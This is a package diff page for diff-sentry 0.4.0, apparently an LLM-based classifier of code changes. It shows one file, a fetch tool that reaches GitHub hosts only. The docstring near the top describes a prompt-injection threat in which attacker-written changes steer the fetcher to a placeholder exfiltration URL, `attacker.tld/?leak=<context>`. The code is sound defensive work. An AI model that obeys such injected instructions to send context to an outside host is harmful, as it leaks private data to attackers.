diff-sentry 0.4.0__py3-none-any.whl
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- diff_sentry/__init__.py +83 -0
- diff_sentry/__main__.py +8 -0
- diff_sentry/assemble.py +87 -0
- diff_sentry/cli.py +376 -0
- diff_sentry/config.py +173 -0
- diff_sentry/deep_classify.py +144 -0
- diff_sentry/detect.py +193 -0
- diff_sentry/emit.py +82 -0
- diff_sentry/fetch_tool.py +94 -0
- diff_sentry/indicators.py +579 -0
- diff_sentry/ingest.py +215 -0
- diff_sentry/normalize.py +171 -0
- diff_sentry/response.py +163 -0
- diff_sentry/rl_export.py +157 -0
- diff_sentry/rubric.py +135 -0
- diff_sentry/schema.py +233 -0
- diff_sentry/skills/ci-injection-patterns.md +36 -0
- diff_sentry/skills/prompt-injection-catalog.md +33 -0
- diff_sentry/skills/triage-a-change.md +34 -0
- diff_sentry-0.4.0.dist-info/METADATA +221 -0
- diff_sentry-0.4.0.dist-info/RECORD +24 -0
- diff_sentry-0.4.0.dist-info/WHEEL +4 -0
- diff_sentry-0.4.0.dist-info/entry_points.txt +2 -0
- diff_sentry-0.4.0.dist-info/licenses/LICENSE +21 -0
|
@@ -0,0 +1,94 @@
|
|
|
1
|
+
"""GitHub-allowlisted enrichment fetch (MF2) — pull ADDITIONAL context for a change from GitHub only.
|
|
2
|
+
|
|
3
|
+
The threat model here is sharper than a normal fetch tool's: the change under classification is
|
|
4
|
+
ATTACKER-AUTHORED, so an injected instruction could try to steer a fetcher into
|
|
5
|
+
`GET https://attacker.tld/?leak=<context>` — a data-exfiltration channel. rlm-harness's SSRF guard blocks
|
|
6
|
+
INTERNAL/metadata targets, but an attacker-EXTERNAL URL is its allowed case. So this wrapper adds a HOST
|
|
7
|
+
ALLOWLIST on top: only GitHub API/content hosts are reachable, and there is no way to fetch a
|
|
8
|
+
"referenced URL" the change names. Enrichment is OFF by default (`enable_fetch=False`) for the same
|
|
9
|
+
reason — turn it on only when you need to pull the full file/commit context and trust the GitHub hosts.
|
|
10
|
+
|
|
11
|
+
Base/wrap split: the SSRF primitives (`is_safe_url`, `resolved_host_is_safe`, `parse_cidrs`) are the kit's;
|
|
12
|
+
this module owns the allowlist + the httpx provider + tracing. Sync (dspy invokes tools synchronously).
|
|
13
|
+
"""
|
|
14
|
+
|
|
15
|
+
from __future__ import annotations
|
|
16
|
+
|
|
17
|
+
from collections.abc import Callable
|
|
18
|
+
from urllib.parse import urlparse
|
|
19
|
+
|
|
20
|
+
from rlm_harness.tools import is_safe_url, parse_cidrs, resolved_host_is_safe
|
|
21
|
+
from rlm_harness.trace import record_tool_call
|
|
22
|
+
|
|
23
|
+
from .config import DetectConfig
|
|
24
|
+
|
|
25
|
+
_PREVIEW_CHARS = 900
|
|
26
|
+
|
|
27
|
+
|
|
28
|
+
def _host_allowed(url: str, allowed_hosts: tuple[str, ...]) -> bool:
|
|
29
|
+
host = (urlparse(url).hostname or "").lower()
|
|
30
|
+
return bool(host) and host in {h.lower() for h in allowed_hosts}
|
|
31
|
+
|
|
32
|
+
|
|
33
|
+
def _port_for(parsed) -> int:
|
|
34
|
+
if parsed.port:
|
|
35
|
+
return parsed.port
|
|
36
|
+
return 443 if parsed.scheme.lower() == "https" else 80
|
|
37
|
+
|
|
38
|
+
|
|
39
|
+
def make_github_fetch_tool(config: DetectConfig) -> Callable[[str], str]:
|
|
40
|
+
"""Build the sync `fetch_url(url)` tool, allowlisted to `config.github_hosts`. Refuses any non-GitHub
|
|
41
|
+
or internal target (an exfil attempt on attacker-authored input), then applies the kit's DNS-rebinding
|
|
42
|
+
resolved-IP re-check on every redirect hop."""
|
|
43
|
+
allowed_hosts = tuple(config.github_hosts)
|
|
44
|
+
allow_nets = parse_cidrs(config.fetch_allow_cidrs)
|
|
45
|
+
max_bytes = config.fetch_max_bytes
|
|
46
|
+
timeout = config.fetch_timeout
|
|
47
|
+
|
|
48
|
+
def fetch_url(url: str) -> str:
|
|
49
|
+
"""Fetch ADDITIONAL context from GitHub (a full file, a commit, a PR page). Only GitHub hosts are
|
|
50
|
+
reachable; any other or internal URL is refused. Store the result in a REPL variable and slice it."""
|
|
51
|
+
u = (url or "").strip()
|
|
52
|
+
if not is_safe_url(u) or not _host_allowed(u, allowed_hosts):
|
|
53
|
+
record_tool_call("fetch_url", args={"url": url}, ok=False,
|
|
54
|
+
note="refused: only GitHub hosts are permitted for enrichment")
|
|
55
|
+
return (f"Refused: {u!r} is not an allowed GitHub host. Enrichment is restricted to "
|
|
56
|
+
f"{', '.join(allowed_hosts)} — a non-GitHub URL in the change is untrusted and not fetched.")
|
|
57
|
+
try:
|
|
58
|
+
import httpx
|
|
59
|
+
|
|
60
|
+
cur = u
|
|
61
|
+
with httpx.Client(timeout=timeout, follow_redirects=False,
|
|
62
|
+
headers={"User-Agent": "diff-sentry/0.1 (+enrichment)"}) as client:
|
|
63
|
+
for _hop in range(5):
|
|
64
|
+
p = urlparse(cur)
|
|
65
|
+
if not (_host_allowed(cur, allowed_hosts)
|
|
66
|
+
and resolved_host_is_safe(p.hostname or "", _port_for(p), allow_nets=allow_nets)):
|
|
67
|
+
record_tool_call("fetch_url", args={"url": url}, ok=False,
|
|
68
|
+
note="refused: redirect left the GitHub allowlist or resolved internal")
|
|
69
|
+
return f"Refused: {cur!r} left the GitHub allowlist or resolved to an internal address."
|
|
70
|
+
with client.stream("GET", cur) as resp:
|
|
71
|
+
if resp.is_redirect:
|
|
72
|
+
loc = resp.headers.get("location", "")
|
|
73
|
+
if not loc:
|
|
74
|
+
break
|
|
75
|
+
cur = str(httpx.URL(cur).join(loc))
|
|
76
|
+
continue
|
|
77
|
+
chunks, total = [], 0
|
|
78
|
+
for chunk in resp.iter_bytes():
|
|
79
|
+
chunks.append(chunk)
|
|
80
|
+
total += len(chunk)
|
|
81
|
+
if total >= max_bytes:
|
|
82
|
+
break
|
|
83
|
+
body = b"".join(chunks)[:max_bytes].decode("utf-8", "replace")
|
|
84
|
+
record_tool_call("fetch_url", args={"url": url}, ok=True, bytes=total,
|
|
85
|
+
final_url=cur, status=resp.status_code,
|
|
86
|
+
preview=body[:_PREVIEW_CHARS])
|
|
87
|
+
return body
|
|
88
|
+
record_tool_call("fetch_url", args={"url": url}, ok=False, note="too many redirects")
|
|
89
|
+
return f"Refused: too many redirects starting from {u!r}."
|
|
90
|
+
except Exception as exc: # noqa: BLE001 — surface as text so the RLM can react
|
|
91
|
+
record_tool_call("fetch_url", args={"url": url}, ok=False, note=f"error: {type(exc).__name__}")
|
|
92
|
+
return f"Fetch error for {u!r}: {type(exc).__name__}: {str(exc)[:160]}"
|
|
93
|
+
|
|
94
|
+
return fetch_url
|